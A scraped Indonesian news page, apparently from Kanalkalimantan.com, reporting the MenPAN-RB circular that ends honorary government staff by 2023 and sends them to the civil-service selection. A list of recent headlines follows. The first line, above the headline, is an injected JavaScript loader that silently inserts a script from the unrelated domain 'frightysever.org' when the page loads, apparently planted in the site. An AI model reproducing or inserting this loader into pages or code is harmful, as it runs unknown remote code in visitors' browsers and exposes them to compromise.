(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terbitnya SE Penghapusan Honorer: Tidak Ada Pengangkatan PNS dan PPPK, Tetap Ikuti Seleksi!


KANALKALIMANTAN.COM, BANJARBARU – Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (MenPAN-RB) RI, Tjahjo Kumolo, baru saja menerbitkan surat edaran ihwal status kepegawaian di lingkungan instansi pemerintah pusat dan pemerintah daerah. Isi surat menekankan terkait kebijakan penghapusan status pegawai honorer di lingkungan pemerintahan.

Berdasarkan surat edaran bernomor B/185/M.SM.02.03/2022 yang diterbitkan pada 31 Mei 2022 itu, pada point yang ke 6 berisi instruksi kepada seluruh pejabat pembina kepegawaian di setiap lingkup pemerintahan untuk menghapuskan kepegawaian honorer. Istruksi tersebut juga menegaskan tidak adanya lagi perekrutan pegawai honorer atau kini yang disebut sebagai pegawai non-ASN.

Adapun kebijakan KemenPAN-RB ini merupakan hasil tindak lanjut Peraturan Pemerintah Nomor 49 Tahun 2018 tentang Manajemen Pegawai Pemerintah dengan Perjanjian Kerja (PP Manajemen PPPK). Tenggat waktu diterapkannya kebijakan ini hanya sama 2023, yang berarti pada tahun mendatang secara otomatis struktur birokrasi di instansi pusat dan daerah hanya ada PNS dan PPPK.

Sebagai gantinya, selama proses kebijakan penghapusan honorer ini berjalan, MenPAN-RB Tjahjo Kumolo meminta kepada para pejabat pembina kepegawaian untuk memetakan dan memberikan kesempatan kepada pegawai non-ASN di instansi masing-masing untuk mengikuti seleksi calon PNS dan PPPK. Namun dengan catatan memenuhi syarat administrasi dan ketentuan yang berlaku dalam proses seleksi.

 

Baca juga  : Kepala Diskominfo SP Tanbu: Nilai-nilai Pancasila Tak Boleh Luntur

Lantas, bagaimana jika pegawai non-ASN tersebut tidak lulus dalam seleksi calon PNS dan PPPK? Dalam hal ini MenPAN-RB mengembalikan kebijakan ke setiap pembina kepegawaian di masing-masing instansi daerah untuk menyusun langkah strategi penyelesaian pegawai non-ASN.

Pada point yang terakhir dalam surat edaran tersebut, MenPAN-RB dengan tegas akan melayangkan sanksi kepada para pembina kepegawaian jika tidak mengindahkan amanat ini. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

10 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

12 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

18 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

18 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

21 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

1 hari ago

This website uses cookies.